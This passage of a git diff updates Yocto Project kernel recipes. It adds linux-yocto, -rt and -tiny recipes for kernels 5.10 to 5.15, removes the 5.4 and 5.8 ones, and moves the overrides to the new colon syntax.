+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb
new file mode 100644
index 0000000000..9f5d4447d3
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb
@@ -0,0 +1,45 @@
+KBRANCH ?= "v5.15/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# Skip processing of this recipe if it is not explicitly specified as the
+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "7e69ef480edfe25ec8e0237b54815138a5a10695"
+SRCREV_meta ?= "df57bc53f6ca3fb3b2d3a9e5331ceff533d6f508"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+LINUX_VERSION ?= "5.15.6"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb
deleted file mode 100644
index 104ada2db5..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-KBRANCH ?= "v5.4/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "97576fb7447efba82eb025bde3ae9ceb29939d5e"
-SRCREV_meta ?= "d626f9108d590d41e82b97cbffc380aa699e86e1"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-LINUX_VERSION ?= "5.4.78"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.8.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.8.bb
deleted file mode 100644
index 033dfc76a2..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-rt_5.8.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-KBRANCH ?= "v5.8/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_meta ?= "7883b60d324029d26020c0b3f826b35c52fd9674"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.8;destsuffix=${KMETA}"
-
-LINUX_VERSION ?= "5.8.18"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb
new file mode 100644
index 0000000000..d9bec45691
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb
@@ -0,0 +1,32 @@
+KBRANCH ?= "v5.10/standard/tiny/base"
+KBRANCH:qemuarm ?= "v5.10/standard/tiny/arm-versatile-926ejs"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+LINUX_VERSION ?= "5.10.82"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine:qemuarm ?= "01f85f09232df2aa45edd757150cb03e35f41f3b"
+SRCREV_machine ?= "f0a0ddc2f355d02a706454137d3dab7889fcf4d1"
+SRCREV_meta ?= "64fb693a6c11f21bab3ff9bb8dcb65a70abe05e3"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.14.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.14.bb
new file mode 100644
index 0000000000..23062df3b0
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_5.14.bb
@@ -0,0 +1,32 @@
+KBRANCH ?= "v5.14/standard/tiny/base"
+KBRANCH:qemuarm ?= "v5.14/standard/tiny/arm-versatile-926ejs"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+LINUX_VERSION ?= "5.14.21"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine:qemuarm ?= "159f57f8e022351d5193e51c02c951f2e255db1a"
+SRCREV_machine ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_meta ?= "4f4ad2c8083408bb303e110090dcf5ca0ad447dd"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.14;destsuffix=${KMETA}"
+
+COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb
new file mode 100644
index 0000000000..6bb09e28a8
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb
@@ -0,0 +1,32 @@
+KBRANCH ?= "v5.15/standard/tiny/base"
+KBRANCH:qemuarm ?= "v5.15/standard/tiny/arm-versatile-926ejs"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+LINUX_VERSION ?= "5.15.6"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine:qemuarm ?= "d3f6afd8b86ba551b9b866c98ee6470d7ee3b99f"
+SRCREV_machine ?= "17da35e5c5cafd55f8a10d43d8765397eb733399"
+SRCREV_meta ?= "df57bc53f6ca3fb3b2d3a9e5331ceff533d6f508"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb
deleted file mode 100644
index d8784c49ad..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-KBRANCH ?= "v5.4/standard/tiny/base"
-KBRANCH_qemuarm ?= "v5.4/standard/tiny/arm-versatile-926ejs"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-LINUX_VERSION ?= "5.4.78"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine_qemuarm ?= "6cf3b1d30bc7ac9bd86190129b3cbbdd04b8b236"
-SRCREV_machine ?= "370ef947d5b1470e858bae5a300110566c994b9f"
-SRCREV_meta ?= "d626f9108d590d41e82b97cbffc380aa699e86e1"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.8.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.8.bb
deleted file mode 100644
index 50cee07620..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-tiny_5.8.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-KBRANCH ?= "v5.8/standard/tiny/base"
-KBRANCH_qemuarm ?= "v5.8/standard/tiny/arm-versatile-926ejs"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-LINUX_VERSION ?= "5.8.18"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine_qemuarm ?= "9509db6e3ed6a23b1f7495b53248d1cbfe22710b"
-SRCREV_machine ?= "3c5d210805d61bea8f8a8081e0e3a89ea8a61f3f"
-SRCREV_meta ?= "7883b60d324029d26020c0b3f826b35c52fd9674"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.8;destsuffix=${KMETA}"
-
-COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto.inc b/meta/recipes-kernel/linux/linux-yocto.inc
index bd37006f88..a3b2416367 100644
--- a/meta/recipes-kernel/linux/linux-yocto.inc
+++ b/meta/recipes-kernel/linux/linux-yocto.inc
@@ -1,6 +1,7 @@
SUMMARY = "Linux kernel"
SECTION = "kernel"
LICENSE = "GPLv2"
+HOMEPAGE = "https://www.yoctoproject.org/"
LIC_FILES_CHKSUM ?= "file://COPYING;md5=d7810fab7487fb0aad327b76f1be7cd7"
@@ -18,21 +19,22 @@ python () {
}
DEPENDS += "xz-native bc-native"
-DEPENDS_append_aarch64 = " libgcc"
-KERNEL_CC_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:aarch64 = " libgcc"
+KERNEL_CC:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_nios2 = " libgcc"
-KERNEL_CC_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:nios2 = " libgcc"
+KERNEL_CC:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_arc = " libgcc"
-KERNEL_CC_append_arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_arc = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:arc = " libgcc"
+KERNEL_CC:append:arc = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_FEATURES_append_qemuall=" features/debug/printk.scc"
+KERNEL_FEATURES:append:qemuall=" features/debug/printk.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'vfat', 'cfg/fs/vfat.scc', '', d)}"
# A KMACHINE is the mapping of a yocto $MACHINE to what is built
# by the kernel. This is typically the branch that should be built,
@@ -44,14 +46,27 @@ LINUX_VERSION_EXTENSION ??= "-yocto-${LINUX_KERNEL_TYPE}"
# Pick up shared functions
inherit kernel
inherit kernel-yocto
+inherit pkgconfig
B = "${WORKDIR}/linux-${PACKAGE_ARCH}-${LINUX_KERNEL_TYPE}-build"
-do_install_append(){
+do_install:append(){
if [ -n "${KMETA}" ]; then
rm -rf ${STAGING_KERNEL_DIR}/${KMETA}
fi
}
# enable kernel-sample for oeqa/runtime/cases's ksample.py test
-KERNEL_FEATURES_append_qemuall=" features/kernel-sample/kernel-sample.scc"
+KERNEL_FEATURES:append:qemuall=" features/kernel-sample/kernel-sample.scc"
+
+KERNEL_DEBUG_OPTIONS ?= "stack"
+KERNEL_EXTRA_ARGS:append:x86-64 = "${@bb.utils.contains('KERNEL_DEBUG_OPTIONS', 'stack', 'HOST_LIBELF_LIBS="-L${RECIPE_SYSROOT_NATIVE}/usr/lib/pkgconfig/../../../usr/lib/ -lelf"', '', d)}"
+
+do_devshell:prepend() {
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ d.setVar("PKG_CONFIG_DIR", "${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig")
+ d.setVar("PKG_CONFIG_PATH", "${PKG_CONFIG_DIR}:${STAGING_DATADIR_NATIVE}/pkgconfig")
+ d.setVar("PKG_CONFIG_LIBDIR", "${PKG_CONFIG_DIR}")
+ d.setVarFlag("PKG_CONFIG_SYSROOT_DIR", "unexport", "1")
+ d.appendVar("OE_TERMINAL_EXPORTS", " PKG_CONFIG_DIR PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PKG_CONFIG_SYSROOT_DIR")
+}
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.10.bb b/meta/recipes-kernel/linux/linux-yocto_5.10.bb
new file mode 100644
index 0000000000..63d7670f80
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_5.10.bb
@@ -0,0 +1,58 @@
+KBRANCH ?= "v5.10/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v5.10/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v5.10/standard/qemuarm64"
+KBRANCH:qemumips ?= "v5.10/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v5.10/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v5.10/standard/base"
+KBRANCH:qemuriscv32 ?= "v5.10/standard/base"
+KBRANCH:qemux86 ?= "v5.10/standard/base"
+KBRANCH:qemux86-64 ?= "v5.10/standard/base"
+KBRANCH:qemumips64 ?= "v5.10/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "74d64de12f376533a34ec582c19b0dc698aea8fc"
+SRCREV_machine:qemuarm64 ?= "0e5d783a705e4c4846cc34d0fd26bf8645bdfb24"
+SRCREV_machine:qemumips ?= "4a8d5630df98b660aeb137a0ca24021e8e9243bb"
+SRCREV_machine:qemuppc ?= "36a9597fcd7083cab43c5c1ec17c7e7b0ce3fab3"
+SRCREV_machine:qemuriscv64 ?= "1bb9d730ac6630d3f41c2ef529fab09f12bcf07d"
+SRCREV_machine:qemuriscv32 ?= "1bb9d730ac6630d3f41c2ef529fab09f12bcf07d"
+SRCREV_machine:qemux86 ?= "1bb9d730ac6630d3f41c2ef529fab09f12bcf07d"
+SRCREV_machine:qemux86-64 ?= "1bb9d730ac6630d3f41c2ef529fab09f12bcf07d"
+SRCREV_machine:qemumips64 ?= "690b09d3a24bafeff32bb06a72643be0c8fae9a7"
+SRCREV_machine ?= "1bb9d730ac6630d3f41c2ef529fab09f12bcf07d"
+SRCREV_meta ?= "64fb693a6c11f21bab3ff9bb8dcb65a70abe05e3"
+
+# remap qemuarm to qemuarma15 for the 5.8 kernel
+# KMACHINE:qemuarm ?= "qemuarma15"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.10;destsuffix=${KMETA}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "5.10.82"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.14.bb b/meta/recipes-kernel/linux/linux-yocto_5.14.bb
new file mode 100644
index 0000000000..aa7bf53682
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_5.14.bb
@@ -0,0 +1,68 @@
+KBRANCH ?= "v5.14/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v5.14/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v5.14/standard/qemuarm64"
+KBRANCH:qemumips ?= "v5.14/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v5.14/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v5.14/standard/base"
+KBRANCH:qemuriscv32 ?= "v5.14/standard/base"
+KBRANCH:qemux86 ?= "v5.14/standard/base"
+KBRANCH:qemux86-64 ?= "v5.14/standard/base"
+KBRANCH:qemumips64 ?= "v5.14/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "5ca7fd91b258a07ed1b6f38593ff8c48cc574b1c"
+SRCREV_machine:qemuarm64 ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemumips ?= "1e7a6d0d29015bf1f383cf5f52fc451c1969561d"
+SRCREV_machine:qemuppc ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemuriscv64 ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemuriscv32 ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemux86 ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemux86-64 ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_machine:qemumips64 ?= "f6646a344afbf6cacc91cbeaaec4240b372dd192"
+SRCREV_machine ?= "9d5572038eacda2e2a86e3f743f35ec415319fb4"
+SRCREV_meta ?= "4f4ad2c8083408bb303e110090dcf5ca0ad447dd"
+
+# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
+# get the <version>/base branch, which is pure upstream -stable, and the same
+# meta SRCREV as the linux-yocto-standard builds. Select your version using the
+# normal PREFERRED_VERSION settings.
+BBCLASSEXTEND = "devupstream:target"
+DEFAULT_PREFERENCE:class-devupstream = "-1"
+SRCREV_machine:class-devupstream ?= "545728d9e08593767dd55192b0324dd4f9b71151"
+PN:class-devupstream = "linux-yocto-upstream"
+KBRANCH:class-devupstream = "v5.14/base"
+
+# remap qemuarm to qemuarma15 for the 5.8 kernel
+# KMACHINE:qemuarm ?= "qemuarma15"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.14;destsuffix=${KMETA}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "5.14.21"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
